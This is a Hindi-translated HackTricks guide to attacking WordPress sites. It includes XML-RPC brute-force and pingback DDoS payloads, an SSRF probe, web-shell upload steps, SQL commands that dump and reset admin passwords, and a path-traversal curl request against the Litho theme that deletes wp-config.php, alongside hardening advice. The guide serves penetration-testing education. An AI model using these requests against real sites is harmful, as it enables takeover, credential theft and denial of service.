40 KiB
Raw Blame History

Wordpress

{{#include ../../banners/hacktricks-training.md}}

Basic Information

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: थीम twentytwelve का उपयोग करते हुए आप 404.php फ़ाइल तक पहुँच सकते हैं: /wp-content/themes/twentytwelve/404.php

  • एक और उपयोगी यूआरएल हो सकता है: /wp-content/themes/default/404.php

  • wp-config.php में आप डेटाबेस का रूट पासवर्ड पा सकते हैं।

  • जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt में उपयोगी जानकारी होती है जैसे कि स्थापित WordPress का संस्करण।
  • wp-activate.php नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है।
  • लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress REST API द्वारा प्रतिस्थापित किया गया है।
  • wp-content फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
  • wp-content/uploads/ वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
  • wp-includes/ यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
  • wp-sitemap.xml WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।

Post exploitation

  • wp-config.php फ़ाइल में WordPress द्वारा डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।

Users Permissions

  • Administrator
  • Editor: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
  • Author: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
  • Contributor: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता
  • Subscriber: पोस्ट ब्राउज़ करता है और अपने प्रोफ़ाइल को संपादित करता है

Passive Enumeration

Get WordPress version

जांचें कि क्या आप फ़ाइलें /license.txt या /readme.html पा सकते हैं

पृष्ठ के स्रोत कोड के अंदर (उदाहरण https://wordpress.org/support/article/pages/ से):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS लिंक फ़ाइलें

  • JavaScript फ़ाइलें

प्लगइन्स प्राप्त करें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

थीम प्राप्त करें

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सामान्य रूप से संस्करण निकालें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सक्रिय सूचीकरण

प्लगइन्स और थीम

आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा (हमारे लिए उम्मीद है कि ऐसे स्वचालित उपकरण हैं जो इन सूचियों को शामिल करते हैं)।

उपयोगकर्ता

  • आईडी ब्रूट: आप उपयोगकर्ता आईडी को ब्रूट फोर्स करके एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
curl -s -I -X GET http://blog.example.com/?author=1

यदि प्रतिक्रियाएँ 200 या 30X हैं, तो इसका मतलब है कि आईडी मान्य है। यदि प्रतिक्रिया 400 है, तो आईडी अमान्य है।

  • wp-json: आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए यह भी प्रयास कर सकते हैं:
curl http://blog.example.com/wp-json/wp/v2/users

एक और /wp-json/ एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को उजागर करता है जिन्होंने एक पोस्ट बनाई है। केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके पास यह सुविधा सक्षम है

यह भी ध्यान दें कि /wp-json/wp/v2/pages आईपी पते लीक कर सकता है।

  • लॉगिन उपयोगकर्ता नाम गणना: जब /wp-login.php में लॉगिन करते हैं तो संदेश विभिन्न होता है यदि निर्दिष्ट उपयोगकर्ता नाम मौजूद है या नहीं

XML-RPC

यदि xml-rpc.php सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं इसका उपयोग करके उदाहरण के लिए)।

यह देखने के लिए कि क्या यह सक्रिय है, /xmlrpc.php तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:

जांचें

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

क्रेडेंशियल्स ब्रूटफोर्स

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

संदेश "Incorrect username or password" एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।

सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

इसके अलावा, system.multicall का उपयोग करके क्रेडेंशियल्स को ब्रूट-फोर्स करने का एक तेज़ तरीका है, क्योंकि आप एक ही अनुरोध पर कई क्रेडेंशियल्स का प्रयास कर सकते हैं:

2FA बायपास करें

यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है।

DDoS या पोर्ट स्कैनिंग

यदि आप सूची में pingback.ping विधि पा सकते हैं, तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।
इसका उपयोग हजारों Wordpress साइटों से एक स्थान (तो उस स्थान पर DDoS उत्पन्न होता है) तक पहुँचने के लिए किया जा सकता है या आप इसका उपयोग Wordpress को कुछ आंतरिक नेटवर्क को स्कैन करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode एक मान greater के साथ 0 (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।

DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में system.multicall के उपयोग पर एक नज़र डालें।

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: /wp-cron.php
जब इस फ़ाइल को एक्सेस किया जाता है, तो एक "भारी" MySQL क्वेरी निष्पादित होती है, इसलिए इसका उपयोग हमलावरों द्वारा DoS कारण बनाने के लिए किया जा सकता है।
इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।

Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ उत्पन्न किए)।

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net पर पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।

जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है:

SSRF

{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}

यह उपकरण जांचता है कि methodName: pingback.ping और पथ /wp-json/oembed/1.0/proxy मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने की कोशिश करता है।

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Get access by overwriting a bit

यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php के स्थिति 5389 को NOP NOT (!) ऑपरेशन के लिए पलट सकते हैं।

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

पैनल RCE

थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)

दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)

एक php शेल के लिए सामग्री बदलें:

इंटरनेट पर खोजें कि आप उस अपडेटेड पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में, आपको यहाँ पहुँचने की आवश्यकता है: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

आप उपयोग कर सकते हैं:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

यह संभव है कि .php फ़ाइलों को एक प्लगइन के रूप में अपलोड किया जा सके।
उदाहरण के लिए, अपने php बैकडोर को बनाएं:

फिर एक नया प्लगइन जोड़ें:

प्लगइन अपलोड करें और Install Now पर क्लिक करें:

Proceed पर क्लिक करें:

संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपका शेल अपलोड हो गया है:

इसका उपयोग करें और आप रिवर्स शेल निष्पादित करने के लिए URL देखेंगे:

Uploading and activating malicious plugin

यह विधि एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे कमजोर माना जाता है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:

  1. Plugin Acquisition: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे यहाँ.
  2. Plugin Installation:
  • WordPress डैशबोर्ड पर जाएं, फिर Dashboard > Plugins > Upload Plugin पर जाएं।
  • डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
  1. Plugin Activation: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
  2. Exploitation:
  • "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह कमजोर माना जाता है।
  • Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
  • यह नोट किया गया है कि यह WordPress साइट का शोषण करने के कई तरीकों में से एक है।

सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।

अधिक विस्तृत चरणों के लिए देखें: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike एक स्क्रिप्ट है जिसे Cross-Site Scripting (XSS) कमजोरी को Remote Code Execution (RCE) या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए इस पोस्ट की जांच करें। यह Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:
  • Privilege Escalation: WordPress में एक उपयोगकर्ता बनाता है।
  • (RCE) Custom Plugin (backdoor) Upload: अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें।
  • (RCE) Built-In Plugin Edit: WordPress में एक अंतर्निहित प्लगइन को संपादित करें।
  • (RCE) Built-In Theme Edit: WordPress में एक अंतर्निहित थीम को संपादित करें।
  • (Custom) Custom Exploits: तृतीय-पक्ष WordPress प्लगइन्स/थीम के लिए कस्टम शोषण।

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

एडमिन पासवर्ड बदलें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और इस ब्लॉग पोस्ट में कुछ कमजोर प्लगइन्स के उदाहरण।

  • wp_ajax

एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जो किसी भी उपयोगकर्ता को जो Wordpress उदाहरण में प्रमाणित है, हो सकता है (इसके भूमिका के स्वतंत्र)।

ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।

Caution

इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है wp_verify_nonce फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।

  • REST API

यह register_rest_route फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback एक ऐसा कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।

यदि अंतर्निहित __return_true फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।

  • php फ़ाइल तक सीधी पहुँच

बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।

wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)

WordPress थीम और प्लगइन्स अक्सर wp_ajax_ और wp_ajax_nopriv_ हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब nopriv संस्करण का उपयोग किया जाता है तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए:

  1. एक क्षमता जांच (जैसे current_user_can() या कम से कम is_user_logged_in()), और
  2. एक CSRF nonce जो check_ajax_referer() / wp_verify_nonce() के साथ मान्य किया गया हो, और
  3. कठोर इनपुट सफाई / मान्यता

Litho बहुउद्देशीय थीम (< 3.1) ने Remove Font Family फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरल) भेजा:

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

इस स्निपेट द्वारा उत्पन्न समस्याएँ:

  • अप्रमाणित पहुँच wp_ajax_nopriv_ हुक पंजीकृत है।
  • कोई नॉनस / क्षमता जांच नहीं कोई भी आगंतुक एंडपॉइंट को हिट कर सकता है।
  • कोई पथ स्वच्छता नहीं उपयोगकर्ता-नियंत्रित fontfamily स्ट्रिंग को फ़िल्टर किए बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक ../../ ट्रैवर्सल की अनुमति मिलती है।

शोषण

एक हमलावर किसी भी फ़ाइल या निर्देशिका को अपलोड्स बेस निर्देशिका के नीचे (सामान्यतः <wp-root>/wp-content/uploads/ ) को हटाने के लिए एकल HTTP POST अनुरोध भेज सकता है:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

क्योंकि wp-config.php uploads के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार ../ अनुक्रम पर्याप्त हैं। wp-config.php को हटाने से अगले दौरे पर WordPress installation wizard में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।

अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के .php फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या .htaccess नियम शामिल हैं।

Detection checklist

  • कोई भी add_action( 'wp_ajax_nopriv_...') कॉलबैक जो फ़ाइल सिस्टम हेल्पर्स (copy(), unlink(), $wp_filesystem->delete(), आदि) को कॉल करता है।
  • पथों में असंक्रमित उपयोगकर्ता इनपुट का संयोजन (देखें $_POST, $_GET, $_REQUEST)।
  • check_ajax_referer() और current_user_can()/is_user_logged_in() की अनुपस्थिति।

Hardening

function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

Tip

हमेशा डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त समझें और दोबारा जांचें: • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे realpath() और str_starts_with() के माध्यम से)।


WordPress सुरक्षा

नियमित अपडेट

सुनिश्चित करें कि WordPress, प्लगइन्स, और थीम अपडेटेड हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें

सुरक्षा प्लगइन्स

अन्य सिफारिशें

  • डिफ़ॉल्ट admin उपयोगकर्ता को हटाएं
  • मजबूत पासवर्ड और 2FA का उपयोग करें
  • समय-समय पर उपयोगकर्ताओं की अनुमतियों की समीक्षा करें
  • Brute Force हमलों को रोकने के लिए लॉगिन प्रयासों की संख्या सीमित करें
  • wp-admin.php फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।

संदर्भ

{{#include ../../banners/hacktricks-training.md}}